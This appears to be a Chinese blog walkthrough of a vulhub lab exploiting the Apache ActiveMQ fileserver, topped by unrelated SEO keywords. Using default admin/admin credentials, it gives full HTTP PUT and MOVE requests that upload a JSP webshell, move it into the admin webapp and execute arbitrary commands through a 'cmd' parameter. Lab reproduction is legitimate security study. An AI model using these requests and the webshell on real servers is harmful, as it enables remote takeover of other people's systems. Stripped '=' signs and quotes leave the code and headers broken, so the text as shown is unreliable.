顺的网站建设效果,lamp安装wordpress,织梦企业黄页网站源码,seo推广优势一.环境配置
腾讯云的ubuntu操作系统#xff0c;已经安装有docker 和 vulhub
直接来到 启动环境docker-compose#xff0c;要在root权限下运行。 docker-compose up -d
若出现等待时间过长的情况#xff0c;请参考这篇文章http://t.csdnimg.cn/SYhbE 访问http://公网ip:8…一.环境配置
腾讯云的ubuntu操作系统已经安装有docker 和 vulhub
直接来到 启动环境docker-compose要在root权限下运行。 docker-compose up -d
若出现等待时间过长的情况请参考这篇文章http://t.csdnimg.cn/SYhbE 访问http://公网ip:8161
若访问成功则环境搭建成功。 二.漏洞复现
目录拼接admin进行登录操作。默认账户密码为admin/admin。
访问以下目录找到文件上传的地址。
http://公网ip:8161/admin/test/systemProperties.jsp 随便抓一个页面的包我这里就抓刚刚查询目录那个页面的包。 写入webshell文件。
将报文转发到Repeater。 进入Repeater中的Header模块修改报文第一行并在报文最后添加木马。 返回Repeater中的Raw模块点击Go发送报文。 PUT /fileserver/1.jsp HTTP/1.1
Host: 公网ip:8161
Cache-Control: max-age0
Authorization: Basic YWRtaW46YWRtaW4
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
Accept: text/html,application/xhtmlxml,application/xml;q0.9,image/avif,image/webp,image/apng,*/*;q0.8,application/signed-exchange;vb3;q0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q0.9
Cookie: JSESSIONIDrveyn……………………
Connection: close% page importjava.io.* %
%
try {
String cmd request.getParameter(cmd);
Process child Runtime.getRuntime().exec(cmd);
InputStream in child.getInputStream();
int c;
while ((c in.read()) ! -1) {
out.print((char)c);
}
in.close();
try {
child.waitFor();
} catch (InterruptedException e) {
e.printStackTrace();
}
} catch (IOException e) {
System.err.println(e);
}
%
上传成功。 访问http://公网ip:8161/fileserver/1.jsp
发现上传成功但没有解析 ActiveMQ Web控制台分为三个应用程序adminapi和fileserver其中admin是管理员页面api是界面fileserver是用于存储文件的界面admin和api需要先登录才能使用fileserver不需要登录。
利用MOVE将木马文件移动到api或者admin我这边是移动到了admin目录下
还是刚刚的报文更该第一行和增加第三行。第三行的路径就是最开始查询到的目录。 MOVE /fileserver/1.jsp HTTP/1.1
Host: 公网ip:8161
Destination:file:///opt/activemq/webapps/admin/1.jsp
Cache-Control: max-age0
Authorization: Basic YWRtaW46YWRtaW4
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
Accept: text/html,application/xhtmlxml,application/xml;q0.9,image/avif,image/webp,image/apng,*/*;q0.8,application/signed-exchange;vb3;q0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q0.9
Cookie: JSESSIONIDyts9……………………
Connection: close
Content-Length: 397% page importjava.io.* %
%
try {
String cmd request.getParameter(cmd);
Process child Runtime.getRuntime().exec(cmd);
InputStream in child.getInputStream();
int c;
while ((c in.read()) ! -1) {
out.print((char)c);
}
in.close();
try {
child.waitFor();
} catch (InterruptedException e) {
e.printStackTrace();
}
} catch (IOException e) {
System.err.println(e);
}
%
访问文件http://公网ip:8161/admin/1.jsp?cmdls 执行命令whoami 漏洞复现完成。